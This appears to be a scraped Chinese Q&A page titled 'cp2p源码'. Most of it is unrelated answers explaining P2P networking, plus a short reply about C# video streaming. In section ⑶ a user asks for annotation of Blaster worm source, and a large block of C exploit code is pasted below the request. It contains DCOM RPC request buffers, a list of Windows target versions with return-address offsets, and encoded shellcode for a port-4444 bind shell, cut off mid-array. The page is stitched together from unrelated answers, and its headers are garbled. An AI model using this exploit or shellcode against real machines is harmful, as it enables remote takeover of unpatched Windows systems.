当前位置:首页 » 操作系统 » cp2p源码

cp2p源码

发布时间: 2022-08-19 12:38:20

⑴ 什么是p2p技术下载

以下是网络资料:
点对点技术 点对点技术(peer-to-peer, 简称P2P)又称对等互联网络技术,是一种网络新技术,依赖网络中参与者的计算能力和带宽,而不是把依赖都聚集在较少的几台服务器上。P2P网络通常用于通过Ad Hoc连接来连接节点。这类网络可以用于多种用途,各种档案分享软件已经得到了广泛的使用。P2P技术也被使用在类似VoIP等实时媒体业务的数据通信中。
纯点对点网络没有客户端或服务器的概念,只有平等的同级节点,同时对网络上的其它节点充当客户端和服务器。这种网络设计模型不同于客户端-服务器模型,在客户端-服务器模型中通信通常来往于一个中央服务器。
有些网络(如Napster, OpenNAP, 或IRC @find)的一些功能(比如搜索)使用客户端-服务器结构,而使用P2P结构来实现另外一些功能。类似Gnutella 或Freenet的网络则使用纯P2P结构来实现全部的任务。
历史
P2P 架构体现了一个互连网技术的关键概念,这一概念被描述在1969年4月7日第一份RFC文档“RFC1,主机软件”中。而最近,在不用中心索引服务器结构实现多媒体文件交换的背景下,这个概念已经变的非常普遍了。
纯P2P:
节点同时作为客户端和服务器端。
没有中心服务器。
没有中心路由器。
杂P2P:
有一个中心服务器保存节点的信息并对请求这些信息的要求做出响应。
节点负责发布这些信息(因为中心服务器并不保存文件),让中心服务器知道它们想共享什么文件,让需要它的节点下载其可共享的资源。
路由终端使用地址,通过被一组索引引用来取得绝对地址。
混合P2P:
同时含有纯P2P和杂P2P的特点。
P2P网络的优势
P2P网络的一个重要的目标就是让所有的客户端都能提供资源,包括带宽,存储空间和计算能力。因此,当有节点加入且对系统请求增多,整个系统的容量也增大。这是具有一组固定服务器的C/S结构不能实现的,这种结构中客户端的增加意味着所有用户更慢的数据传输。
P2P网络的分布特性通过在多节点上复制数据,也增加了防故障的健壮性,并且在纯P2P网络中,节点不需要依靠一个中心索引服务器来发现数据。在后一种情况下,系统也不会出现单点崩溃。
当用P2P来描述Napster 网络时,对等协议被认为是重要的,但是,实际中,Napster 网络取得的成就是对等节点(就象网络的末枝)联合一个中心索引来实现。这可以使它能快速并且高效的定位可用的内容。对等协议只是一种通用的方法来实现这一点。
应用
点对点技术有许多应用。共享包含各种格式音频,视频,数据等的文件是非常普遍的,实时数据(如IP电话通信)也可以使用P2P技术来传送。
有些网络和通信渠道,象Napster,OpenNAP,和IRC @find,一方面使用了C/S结构来处理一些任务(如搜索功能),另一方面又同时使用P2P结构来处理其他任务。而有些网络,如Gnutella 和 Freenet ,使用P2P结构来处理所有的任务,有时被认为是真正的P2P网络。尽管Gnutella 也使用了目录服务器来方便节点得到其它节点的网络地址。
学术性P2P网络
最近,宾夕法尼亚州立大学的开发者,联合了麻省理工学院开放知识行动,西蒙弗雷泽大学的研究人员,还有第二代互连网P2P工作组,正在开发一个P2P网络的学术性应用。这个项目称为LionShare,基于第二代网络技术,更详细地说是Gnutella模型。这个网络的主要目的是让众多不同学术机构的用户能够共享学术材料。LionShare网络使用杂P2P网络类型,混合了Gnutella分散的P2P网络和传统的C/S网络。这个程序的用户能够上传文件到一个服务器上,不管用户是否在线,都能够持续的共享。这个网络也允许在比正常小得多的共享社区中使用。
这个网络与当前正在使用的其他P2P网络的主要不同是LionShare网络不允许匿名用户。这样做的目的是防止版权材料在网络上共享,这同时也避免了法律纠纷。另一个不同是对不同组有选择性的共享个别的文件。用户能个别选择哪些用户可以接收这一个文件或者这一组文件。
学术社区需要这种技术,因为有越来越多的多媒体文件应用在课堂上。越来越多的的教授使用多媒体文件,象音频文件,视频文件和幻灯片。把这些文件传给学生是件困难的任务,而这如果用LionShare这类网络则容易的多。
法律方面
在美国法律中,“Betamax判决”的判例坚持复制“技术”不是本质非法的,如果它们有实质性非侵权用途。这个因特网广泛使用之前的决定被应用于大部分的数据网络,包括P2P网络,因为已得到认可的文件的传播也是可以的。这些非侵犯的使用包括发放开放源代码软件,公共领域文件和不在版权范围之内的作品。其他司法部门也可用类似的方式看待这个情况。
实际上,大多数在P2P网络上共享的文件是版权流行音乐和电影,包括各种格式(MP3,MPEG,RM 等)。在多数司法范围中,共享这些复本是非法的。这让很多观察者,包括多数的媒体公司和一些P2P的倡导者,批评这种网络已经对现有的发行模式造成了巨大的威胁。试图测量实际金钱损失的研究多少有些意义不明。虽然纸面上这些网络的存在而导致的大量损失,而实际上自从这些网络建成以来,实际的收入并没有多大的变化。不管这种威胁是否存在,美国唱片协会和美国电影协会正花费大量的钱来试着游说立法者来建立新的法律。一些版权拥有者也向公司出钱希望帮助在法律上挑战从事非法共享他们材料的用户。
尽管有Betamax判决,P2P网络已经成为那些艺术家和版权许可组织的代表攻击的靶子。这里面包括美国唱片协会和美国电影协会等行业组织。Napster 服务由于美国唱片协会的投诉而被迫关闭。在这个案例中,Napster故意地买卖这些并没有从版权所有者那得到许可发行的音像文件。
随着媒体公司打击版权侵犯的行为扩大,这些网络也迅速不断地作了调整,让无论从技术上还是法律上都难于撤除。这导致真正犯法的用户成为目标,因为虽然潜在的技术是合法的,但是用侵犯版权的方式来传播的个人对它的滥用很明显是非法的。
匿名P2P网络允许发布材料,无论合法不合法,在各种司法范围内都很少或不承担法律责任。很多人表示这将导致更多的非法材料更容易传播,甚至(有些人指出)促进恐怖主义,要求在这些领域对其进行规范。而其他人则反对说,非法使用的潜在能力不能阻止这种技术作为合法目的的使用,无罪推定必须得以应用,象其他非P2P技术的匿名服务,如电子邮件,同样有着相似的能力。
安全方面
许多P2P网络一直受到怀有各种目的的人的持续攻击。例子包括:
中毒攻击(提供内容与描述不同的文件)
拒绝服务攻击(使网络运行非常慢甚至完全崩溃)
背叛攻击(用户或软件使用网络却没有贡献出自己的资源)
在数据中插入病毒(如,下载或传递的文件可能被感染了病毒或木马)
P2P软件本身的木马(如,软件可能含有间谍软件)
过滤(网络运营商可能会试图禁止传递来自P2P网络上的数据)
身份攻击(如,跟踪网络上用户并且折磨或合法地攻击他们)
垃圾信息(如在网络上发送未请求的信息--不一定是拒绝服务攻击)
如果精心设计P2P网络,使用加密技术,大部分的攻击都可以避免或控制,P2P网络安全事实上与拜占庭将军问题有密切联系。然而,当很多的节点试着破坏它时,几乎任何网络也都会失效,而且许多协议会因用户少而表现得很失败。
计算技术展望
技术上,一个纯P2P应用必须贯彻只有对等协议,没有服务器和客户端的概念。但这样的纯P2P应用和网络是很少的,大部分称为P2P的网络和应用实际上包含了或者依赖一些非对等单元,如DNS。同时,真正的应用也使用了多个协议,使节点可以同时或分时做客户端,服务器,和对等节点。完全分散的对等网络已经使用了很多年了,象Usenet(1979年)和FidoNet(1984年)这两个例子。
很多P2P系统使用更强的对等点(称为超级对等点)作为服务器,那些客户节点以星状方式连接到一个超级对等点上。
在1990年代末期,为了促进对等网络应用的发展,SUN公司增加了一些类到java技术中,让开发者能开发分散的实时聊天的applet和应用,这是在即时通信流行之前。这个工作现在有JXTA工程来继续实现。
P2P系统和应用已经吸引了计算机科学研究的大量关注,一些卓越的研究计划包括Chord计划, ARPANET, the PAST storage utility, P-Grid(一个自发组织的新兴覆盖性网络),和CoopNet内容分发系统。
国内外现状
国外的P2P研究现状
国外开展P2P研究的学术团体主要包括P2P工作组(P2PWG) 、全球网格论坛(Global Grid Forum ,GGF) 。P2P工作组成立的主要目的是希望加速P2P计算基础设施的建立和相应的标准化工作。P2PWG成立之后,对P2P计算中的术语进行了统一,也形成相关的草案,但是在标准化工作方面工作进展缓慢。目前P2PWG已经和GGF合并,由该论坛管理P2P计算相关的工作。GGF负责网格计算和P2P计算等相关的标准化工作。
从国外公司对P2P计算的支持力度来看,Microsoft公司、Sun公司和Intel公司投入较大。Microsoft公司成立了Pastry项目组,主要负责P2P计算技术的研究和开发工作。目前Microsoft公司已经发布了基于Pastry的软件包SimPastry/ VisPastry。Rice大学也在Pastry的基础之上发布了FreePastry软件包。
在2000年8月,Intel公司宣布成立P2P工作组,正式开展P2P的研究。工作组成立以后,积极与应用开发商合作,开发P2P应用平台。2002年Intel发布了. Net基础架构之上的Accelerator Kit (P2P加速工具包) 和P2P安全API软件包,从而使得微软. NET开发人员能够迅速地建立P2P安全Web应用程序。
Sun公司以Java技术为背景,开展了JXTA项目。JXTA是基于Java的开源P2P平台,任何个人和组织均可以加入该项目。因此,该项目不仅吸引了大批P2P研究人员和开发人员,而且已经发布了基于JXTA的即时聊天软件包。JXTA定义了一组核心业务:认证、资源发现和管理。在安全方面,JXTA加入了加密软件包,允许使用该加密包进行数据加密,从而保证消息的隐私、可认证性和完整性。在JXTA核心之上,还定义了包括内容管理、信息搜索以及服务管理在内的各种其它可选JXTA服务。在核心服务和可选服务基础上,用户可以开发各种JXTA平台上的P2P应用。
国内的P2P研究现状
• 北京大学—Maze
Maze 是北京大学网络实验室开发的一个中心控制与对等连接相融合的对等计算文件共享系统,在结构上类似Napster,对等计算搜索方法类似于Gnutella。网络上的一台计算机,不论是在内网还是外网,可以通过安装运行Maze的客户端软件自由加入和退出Maze系统。每个节点可以将自己的一个或多个目录下的文件共享给系统的其他成员,也可以分享其他成员的资源。Maze支持基于关键字的资源检索,也可以通过好友关系直接获得。
• 清华大学—Granary
Granary是清华大学自主开发的对等计算存储服务系统。它以对象格式存储数据。另外,Granary设计了专门的结点信息收集算法PeerWindow的结构化覆盖网络路由协议Tourist。
• 华中科技大学—AnySee
AnySee是华中科大设计研发的视频直播系统。它采用了一对多的服务模式,支持部分NAT和防火墙的穿越,提高了视频直播系统的可扩展性;同时,它利用近播原则、分域调度的思想,使用Landmark路标算法直接建树的方式构建应用层上的组播树,克服了ESM等一对多模式系统由联接图的构造和维护带来的负载影响。
更详细介绍见〔中国计算机学会通讯 Page 38-51 郑纬民等 对等计算研究概论〕
企业研发产品
• 广州数联软件技术有限公司-Poco
POCO 是中国最大的 P2P用户分享平台 , 是有安全、流量控制力的,无中心服务器的第三代 P2P 资源交换平台 , 也是世界范围内少有的盈利的 P2P 平台。目前已经形成了 2600 万海量用户,平均在线 58.5 万,在线峰值突破 71 万,并且全部是宽带用户的用户群。 成为中国地区第一的 P2P 分享平台。[a]
• 深圳市点石软件有限公司-OP
OP-又称为Openext Media Desktop,一个网络娱乐内容平台,Napster的后继者,它可以最直接的方式找到您想要的音乐、影视、软件、游戏、图片、书籍以及各种文档,随时在线共享文件容量数以亿计“十万影视、百万音乐、千万图片”。OP整合了Internet Explorer、Windows Media Player、RealOne Player和ACDSee ,是国内的网络娱乐内容平台。[a]
• 基于P2P的在线电视直播-PPLive
PPLive是一款用于互联网上大规模视频直播的共享软件。它使用网状模型,有效解决了当前网络视频点播服务的带宽和负载有限 问题,实现用户越多,播放越流畅的特性,整 体服务质量大大提高!(2005年的超级女声决赛期间,这款软件非常的火爆,同时通过它看湖南卫视的有上万观众)

⑵ C#实现网络视频点播

我觉得应该可以通过WinSocket来实现吧。

Socket是网络通讯技术,使用流的形式将视频发往客户端。客户端就可以看到网络视频啦。

---------------------
数据流既然发到了客户端,那就应该很好操作了啊。MSDN上看看处理视频的类是哪些。就好比传送文件一样,File的几个类就可以实现了嘛。多看看msdn

⑶ 谁帮我分析(注释)下冲击波源代码。。注明个段代码的功能。它是用什么语言写的我有C、C#编程基础)

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

unsigned char bindstr[]={

0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,

0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,

0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,

0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,

0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={

0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03

,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00

,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45

,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E

,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D

,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41

,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00

,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45

,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00

,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29

,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00

,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00

,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF

,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09

,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00

,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00

,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00

,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00

,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00

,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E

,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00

,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00

,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00

,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00

,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={

0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00

,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={

0x5C,0x00

,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00

,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00

,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00

,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};

unsigned char *targets [] =

{

"Windows NT SP4 (english)",

"Windows NT SP5 (chineese)",

"Windows NT SP6 (chineese)",

"Windows NT SP6a (chineese)",

"Windows 2000 NOSP (polish)",

"Windows 2000 SP3 (polish)",

"Windows 2000 SP4 (spanish)",

"Windows 2000 NOSP1 (english)",

"Windows 2000 NOSP2 (english)",

"Windows 2000 SP2-1 (english)",

"Windows 2000 SP2-2 (english)",

"Windows 2000 SP3-2 (english)",

"Windows 2000 NOSP (chineese)",

"Windows 2000 SP1 (chineese)",

"Windows 2000 SP2 (chineese)",

"Windows 2000 SP3 (chineese)",

"Windows 2000 SP4 (chineese)",

"Windows 2000 SP3 (german)",

"Windows 2000 NOSP (japaneese",

"Windows 2000 SP1 (japaneese)",

"Windows 2000 SP2 (japaneese)",

"Windows 2000 NOSP (korean)",

"Windows 2000 SP1 (korean)",

"Windows 2000 SP2 (korean)",

"Windows 2000 NOSP (mexican)",

"Windows 2000 SP1 (mexican)",

"Windows XP NOSP (english)",

"Windows SP1-2 (english)",

"Windows 2k3 (english)",

"Windows 2000 SP3 (german)",

"Windows 2000 SP4-1 (german)",

"Windows 2000 SP4-2 (german)",

"Windows XP SP1 (german)",

"Windows 2000 SERVER SP1 (french)",

"Windows 2000 SERVER SP4 (french)",

"Windows XP NOSP (french)",

"Windows XP SP1 (french)",

"Windows 2000 SP0 (english)",

"Windows 2000 SP1 (english)",

"Windows 2000 SP2 (english)",

"Windows 2000 SP3 (english)",

"Windows 2000 SP4 (english)",

"Windows XP SP0 (english)",

"Windows XP SP1-1 (english)",

"Windows XP SP2 (english)",

"Windows 2000 Advanced Server SP3 (english)",

"ALL/WINXP/WIN2K",

NULL

};

unsigned long offsets [] =

{

0x77e527f3,

0x77cfdaee,

0x77ac0ef0,

0x77c3eaf0,

0x774d3fe3,

0x77292ce4,

0x77133ba5,

0x777416e8,

0x772b49e2,

0x77b524e8,

0x775cfa2e,

0x772ae3e2,

0x778b89e6,

0x772b49e0,

0x77444342,

0x77294cdf,

0x777a882e,

0x77e527f3,

0x778b89e5,

0x772b49df,

0x772ae3e1,

0x778b89e5,

0x772b49df,

0x772ae3e1,

0x778b89e8,

0x77e3afe9,

0x77db37d7,

0x77b05422,

0x77292ce3,

0x77294ce0,

0x7756c2e2,

0x77fc18d4,

0x774b3ee4,

0x7756c2e2,

0x774a75d4,

0x77fc18d4,

0x77e81674,

0x77e829ec,

0x77e824b5,

0x77e8367a,

0x77f92a9b,

0x77e9afe3,

0x77e626ba,

0x77d737db,

0x77e2afc5,

0x010016C6

};

unsigned char sc[]=

"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"

"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"

"\x46\x00\x58\x00\x46\x00\x58\x00"

"\xff\xff\xff\xff" /* return address */

"\xcc\xe0\xfd\x7f" /* primary thread data block */

"\xcc\xe0\xfd\x7f" /* primary thread data block */

/* port 4444 bindshell */

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"

"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"

"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"

"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"

"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"

"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"

"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"

"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"

"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"

"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"

"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"

"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"

"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"

⑷ 什么是P2P技术

P2P即Peer to Peer,称为对等连接或对等网络,P2P技术主要指由硬件形成连接后的信息控制技术,其代表形式是软件。
技术背景

P2P起源于最初的联网通信方式,如在建筑物内PC通过局域网互联,不同建筑物间通过Modem远程拨号互联。其中建立在TCP/IP协议之上的通信模式构成了今日互联网的基础,所以从基础技术角度看,P2P不是新技术,而是新的应用技术模式。

今天,P2P再一次被关注主要是由Napster以及ICQ类软件的出现,虽然在Napster之前P2P方式的研究也从未停止。

现在互联网是以S(Server)/ B(Browser)或S/C(Client)结构的应用模式为主的,这样的应用必须在网络内设置一个服务器,信息通过服务器才可以传递。信息或是先集中上传到服务器保存,然后再分别下载(如网站),或是信息按服务器上专有规则(软件)处理后才可在网络上传递流动(如邮件)。

如今拥有Napster及ICQ类软件的PC(或操作者)就可以选择同样拥有此类软件的另一PC(或操作者)形成互联(直接连接,不通过服务器),双方共享资源,协同完成某种行动。而拥有同一P2P软件的设备和用户,还可以形成一个为其自己所有的在互联网上的P2P专用网。

现状

1. 代表性研发产品和技术

(1) ICQ类的即时通信软件。两个或多个用户互相使用文字、语音或文件进行交流,快速、直接,易于同非PC网络设备(如PDA、手机)通信,而且它不依赖设备即可辨别用户。由于利用P2P技术可以弱化甚至摆脱对中央服务器的依赖,这样的通信更接近非互联网通信模式。

(2) Farsite(Microsoft),Ocean Store类数据存储软件。用于在网络上将存储对象分散化存放,而不像现在放于专用服务器。这样减轻了服务器负担,增加了数据的可靠性和传输速度。

(3) Napster类软件。实现数据共享,使用者可以直接从任意一台安装同类软件的PC上下载及上载文件,而不是从服务器。用户可以检索、复制共享的文件。软件自动发现最新的文件列表,发布者无需担心发布的问题。

(4) Infrasearch、Pointera类数据搜索及查询软件。用来在P2P网中完成信息检索。一旦形成P2P专用网,其上的数据搜索与现在互联网中数据存在中央服务器的情况有所不同,必须要考虑动态地将当前P2P网络中各个Peer的内容进行收集,并且要有效地向用户传递。 P2P网用户中相当数量在联网方式上不同,专线、拨号、宽带、窄带都会碰到; 联网的时间可以一个是24小时在线,而另一个完全可能仅联机几十分钟; 使用的操作系统也不一定相同。

(5) Netbatch(Intel)类协同计算软件。可联接近1万台PC,利用它们的空闲时间进行协同计算,完成超计算量的工作(如空间探测,分子生物学计算,芯片设计)。

(6) Groove 类数据或行动协同软件。它是基于P2P连接的软件工具,可以建立一个安全的企业级协同工作平台(P2P网),提供供求信息链上的互动信息沟通,如货品目录、库存及发货清单,帮助使用者进行经销渠道维护、客户服务和支持。

(7) 游戏软件。事实上许多网络游戏均是P2P方式的,尤其是那些双人及多人对弈游戏。

2. 组织与标准

目前,正式的P2P组织尚未成立,2000年8月间成立的P2P工作组,成员包括Intel、IBM、HP等大企业,目标集中在P2P技术的标准、安全性及可靠性等等。但由于P2P技术本身发展迅速,P2P技术涵盖的范围尚未确定,目前尚未有统一的规范。

发展

1. 关键技术

P2P是一种基于互联网环境的新的应用型技术,主要为软件技术。

(1) 对于互联网上众多计算机,P2P应用比其他应用要更多考虑那些低端PC的互联,它们不具备服务器那样强的联网能力,同时对于以往的P2P应用技术,现在的硬件环境已经更为复杂,这样在通信基础方面,P2P必须提供在现有硬件逻辑和底层通信协议上的端到端定位(寻址)和握手技术,建立稳定的连接。涉及的技术有IP地址解析、NAT路由及防火墙。

(2) 在应用层面上,如果两个Peer分别代表两家不同的公司,而且它们已经通过互联网建立连接,那么一方的信息就必须为另一方所识别,所以当前互联网上关于数据描述和交换的协议,如XML、SOAP、UDDI等都是一个完善的P2P软件所要考虑的。

(3) 有通信就要有安全保障,加密技术是必须要考虑的。

(4) 其他需考虑的有如何设置中心服务器,如何控制网络规模等。

2. P2P技术与现有互联网技术比较

目前互联网主要技术模式是S/C方式,此方式要在互联网上设置拥有强大处理能力和大带宽的高性能计算机,配合高档的服务器软件,再将大量的数据集中存放在上面,并且要安装多样化的服务软件,在集中处理数据的同时可以对互联网上其他PC进行服务,提供或接收数据,提供处理能力及其他应用。对于一台与服务器联机并接受服务的PC机来说,这台PC机就是客户机,其性能可以相对弱小。而P2P技术的特征之一就是弱化了服务器的作用,甚至取消服务器,任意两台PC互为服务器,同时又是客户机,即对等。右面是P2P与S/C方式的一些比较:

